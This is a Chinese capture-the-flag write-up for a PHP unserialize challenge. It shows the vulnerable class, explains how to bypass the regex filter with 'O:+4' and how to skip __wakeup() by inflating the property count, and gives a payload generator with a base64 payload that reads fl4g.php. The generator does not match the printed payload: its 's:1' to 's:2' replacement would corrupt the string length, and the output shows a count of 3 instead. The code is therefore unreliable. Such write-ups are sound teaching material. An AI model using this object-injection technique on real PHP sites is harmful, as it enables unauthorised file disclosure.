Web_php_unserialize
题目
直接源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
|
我们需要控制file变量读入我们想要的fl4g.php
文件
有两个地方需要绕过:
preg_match('/[oc]:\d+:/i', $var
绕过正则表达式
- 绕过__wakeup()函数
知识&绕过
- __construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
- __destruct():当对象被销毁时会自动调用。(析构函数)
- __wakeup():unserialize() 时会自动调用
创建对象会调用__construct(),__destruct()
序列化对象不调用函数
反序列化对象调用__wakeup()、__destruct()
可以用O:+4:
绕过正则匹配
可以用当反序列化的对象数大于实际对象数的时候会跳过__wakeup()函数,也就是将:1:改成:2:或者s:3都可以绕过__wakeup()函数
解题
根据上述绕过知识,我们可以构造paylaod
1 2 3 4 5
| $a = new Demo("fl4g.php"); $test = serialize($a); $test = str_replace("O:4","O:+4",$test); $test = str_replace("s:1","s:2",$test); echo base64_encode($test);
|
生成字符串TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
最后得到FLAG